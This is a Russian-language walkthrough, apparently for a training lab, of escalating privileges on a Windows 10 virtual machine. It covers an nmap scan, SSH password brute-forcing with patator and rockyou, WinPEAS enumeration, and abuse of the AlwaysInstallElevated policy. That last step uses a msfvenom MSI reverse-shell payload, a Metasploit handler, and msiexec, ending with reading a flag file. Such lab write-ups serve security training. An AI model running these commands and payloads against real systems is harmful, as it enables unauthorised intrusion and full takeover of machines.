???????? ????????? ??????????

Архив: Win10.rar (зеркала: Яндекс.Диск и OneDrive). Импортировать ВМ двойным нажатием на файл Win10.vbox.

Для инициализации сети необходимо войти в нее под специальным аккаунтом: Логин: helpdesk Пароль: Qwerty123

Последовательность действий

Есть доступ, задача — поднять привилегии до максимальных и собрать данные.

1. Просканируем Windows-систему на открытые порты с помощью nmap:

```
$ nmap -Pn -n -F -sV --open 10.8.0.14
```

2. Для первичного доступа попробуем перебрать пароли ssh с помощью patator. Patator позволяет установить соединение с сервером и перебирать пароли, используя словари паролей или списки паролей, которые можно настроить для каждого протокола. Возможно настроить параметры задержки между попытками аутентификации. Проведем перебор SSH-паролей для пользователя john, при этом отфильтруем все сообщения, включающие в себя строку “Authentication failed”.

```
$ patator ssh_login host=10.8.0.14 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt
-x ignore:mesg='Authentication failed.'
```

Путем перебора получаем верный пароль: loveme1

3. Подключимся к Windows-машине по ssh:

```
$ ssh john@10.8.0.14
john@WIN10> whoami
john@WIN10> dir
```

4. Для автоматического поиска вектора для повышения привилегий используем утилиту WinPEAS:

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

WinPEAS автоматически определяет наличие открытых портов, установленные программы и службы, запланированные задачи, наличие уязвимых файловых разрешений, настройки UAC (User Account Control) и другие уязвимости привилегий в операционной системе.

Использование WinPEAS может значительно упростить процесс поиска уязвимостей привилегий и повысить эффективность и скорость анализа безопасности системы. Скачаем актуальную версию WinPEAS под 64-разрядные ОС на локальную машину:

```
$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230413-
7f846812/winPEASx64.exe
```

5. Передадим файл на удаленную машину по SSH с помощью scp и запустим файл:

```
$ scp winPEASx64.exe john@10.8.0.14:C:\\Users\\John\\
john@WIN10> winPEASx64.exe
```

6. Рассмотрим вывод утилиты: наибольшее внимание стоит обращать на выделенное красным. Последовательно просматривая возможные вектора, обратим внимание на AlwaysInstallElevated. Это политика, позволяющая устанавливать любые msi-пакеты с повышенными правами. Это значит, что, если мы сгенерируем полезную нагрузку в этом формате, то при её запуске она будет работать от имени NT AUTHORITY\SYSTEM, что дает нам полные привилегии на этой машине.

7. Сгенерируем полезную нагрузку в формате msi с помощью msfvenom, полезной нагрузкой будет обратное shell-соединение на нашу машину:

```
$ msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.8.0.28
LPORT=4444 -f msi -o tmp/rev.msi
```

8. Отправим полезную нагрузку на удаленную машину с помощью SCP:

```
$ scp tmp/rev.msi john@10.8.0.14:C:\\Users\\John\\
```

9. Подготовим хэндлер для получения shell-соединения с помощью msf. Используем метаэксплойт exploit/multi/handler, для принятия соединений от полезных нагрузок в случае, если их запуск идет независимо от применения RCE-эксплойтов самого msf. Укажем выбранный payload и адрес, на котором он будет ожидать подключения:

```
$ msfconsole
msf6> use exploit/multi/handler
msf6> options
msf6> set PAYLOAD windows/x64/shell_reverse_tcp
msf6> set LHOST 10.8.0.28
```

```
msf6> exploit
```

10. Проверим, что удаленная система доступна по RDP:

```
$ nmap -Pn -n -p 3389 -sV --open 10.8.0.14
```

11. Подключимся к удаленной системе по RDP, используя xfreerdp – свободный RDP-клиент с консольным интерфейсом, укажем пользователя, пароль, хост и удобную нам ширину экрана:

```
$ xfreerdp /u:john /p:loveme1 /w:768 /v:10.8.0.14
```

12. Запускаем инсталлятор. Однако простым запуском не получается, нужно через консоль

```
msiexec /quiet /qn /i C:/one.msi
```

13. После получения соединения в msf выполним базовую разведку и убедимся, что обладаем максимальными правами, после чего прочтем флаг:

```
> whoami
> cd C:\Users\michael\Desktop
> type root.txt
```

Revision #5
Created 10 October 2025 17:28:12 by Admin
Updated 11 October 2025 15:59:10 by Admin